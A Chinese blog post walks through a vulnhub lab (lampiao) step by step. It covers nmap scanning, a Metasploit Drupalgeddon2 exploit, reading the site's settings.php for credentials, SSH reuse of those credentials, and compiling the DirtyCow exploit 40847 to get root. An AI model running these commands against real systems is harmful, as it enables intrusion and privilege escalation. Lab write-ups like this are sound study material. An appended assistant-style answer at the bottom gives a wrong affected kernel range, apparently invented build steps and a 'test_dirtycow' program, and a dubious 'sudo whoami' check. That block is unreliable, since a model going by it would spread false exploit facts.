DirtyCow脏牛漏洞复现(CVE-2016-5195)

DirtyCow脏牛漏洞复现

本文以vulnhub靶场中的lampiao为例复现脏牛提权漏洞

扫描c段

nmap -sS -Pn 192.168.1.0/24

找到疑似ip

在这里插入图片描述

对该ip端口进行扫描,多扫出个1898端口

nmap -A -sV -p- 192.168.1.13

在这里插入图片描述

访问80端口,没有有用的信息

在这里插入图片描述

1898也是个apche的http服务器,直接访问,是Drupal建站的

在这里插入图片描述

msf或搜索引擎查找漏洞

在这里插入图片描述

使用这个模块

use exploit/unix/webapp/drupal_drupalgeddon2

options查看需要配置的参数有两个

set rhost 192.168.1.13
set rport 1898

直接run,拿到meterpreter

在这里插入图片描述

上传linux漏洞检测脚本

https://github.com/mzet-/linux-exploit-suggester

upload /root/Attack/linux/linux-exploit-suggester.sh /tmp/666.sh

在这里插入图片描述

运行脚本

cd /tmp
chmod +x 666.sh
./666.sh

扫到一大堆洞,但主要就想复现下脏牛dirtycow,其他部分都是常规的信息收集渗透。

脏牛漏洞影响的范围从内核2.6.22开始2007年,一直到2016年10月进行Linux内核维护的Greg Kroah-Hartman宣布针对Linux 4.8、4.7和4.4LTS内核系列的维护更新(更新后为Linux kernel 4.8.3、4.7.9和4.4.26 LTS),修复了该漏洞

脏牛漏洞是 Linux 内核经典漏洞,内核内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的写权限,进一步获取 root 权限。

在这里插入图片描述

可以用exp也可以用msf

https://github.com/firefart/dirtycow/blob/master/dirty.c

先要ssh登录才能打

ls /home

找到用户
在这里插入图片描述

cat /var/www/html/sites/default/settings.php

找到了mysql的密码
在这里插入图片描述

用这两个成功登录

ssh tiago@192.168.1.13

在这里插入图片描述

找脚本

searchsploit dirty

在这里插入图片描述

定位脚本的具体位置

locate linux/local/40847.cpp

在这里插入图片描述

通过msf上传到靶机

upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp

在这里插入图片描述

编译脚本

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o 40847 gcc生成的目标文件,名字为40847

得到root的密码
在这里插入图片描述

ssh登录root
在这里插入图片描述

拿到flag
在这里插入图片描述

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
你好!对于Linux提权的脏牛漏洞CVE-2016-5195),我可以为你提供一些复现的步骤。请注意,这是一个严重的安全漏洞,仅用于测试和教育目的。 在开始之前,请确保你已经备份了你的系统和数据,因为这个过程可能会对系统造成损坏。 以下是复现脏牛漏洞的一般步骤: 1. 确认你的系统受到脏牛漏洞的影响。你可以使用以下命令检查: ```shell $ uname -r ``` 如果输出的内核版本在`3.0`到`4.7`之间(不包括两端),那么你的系统可能受到影响。 2. 下载并编译脏牛漏洞的测试程序,可以使用以下命令: ```shell $ git clone https://github.com/dirtycow/dirtycow.github.io $ cd dirtycow.github.io $ make ``` 3. 运行测试程序进行提权。请注意,这可能会对系统造成损坏,所以请谨慎操作。 ```shell $ ./test_dirtycow your_file_name ``` `your_file_name`是你想要修改的目标文件的路径。这个测试程序会尝试修改目标文件的权限,以实现提权效果。 4. 检查提权是否成功。你可以尝试运行一个需要超级用户权限的命令来验证。 ```shell $ sudo whoami ``` 如果输出结果为"root",那么你已经成功提权了。 请记住,在测试和复现漏洞时,务必遵守法律和道德准则。此外,确保你在合法的环境下进行测试,并获得了合适的授权。 希望这些步骤能帮助到你!如果你有任何其他问题,请随时提问。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值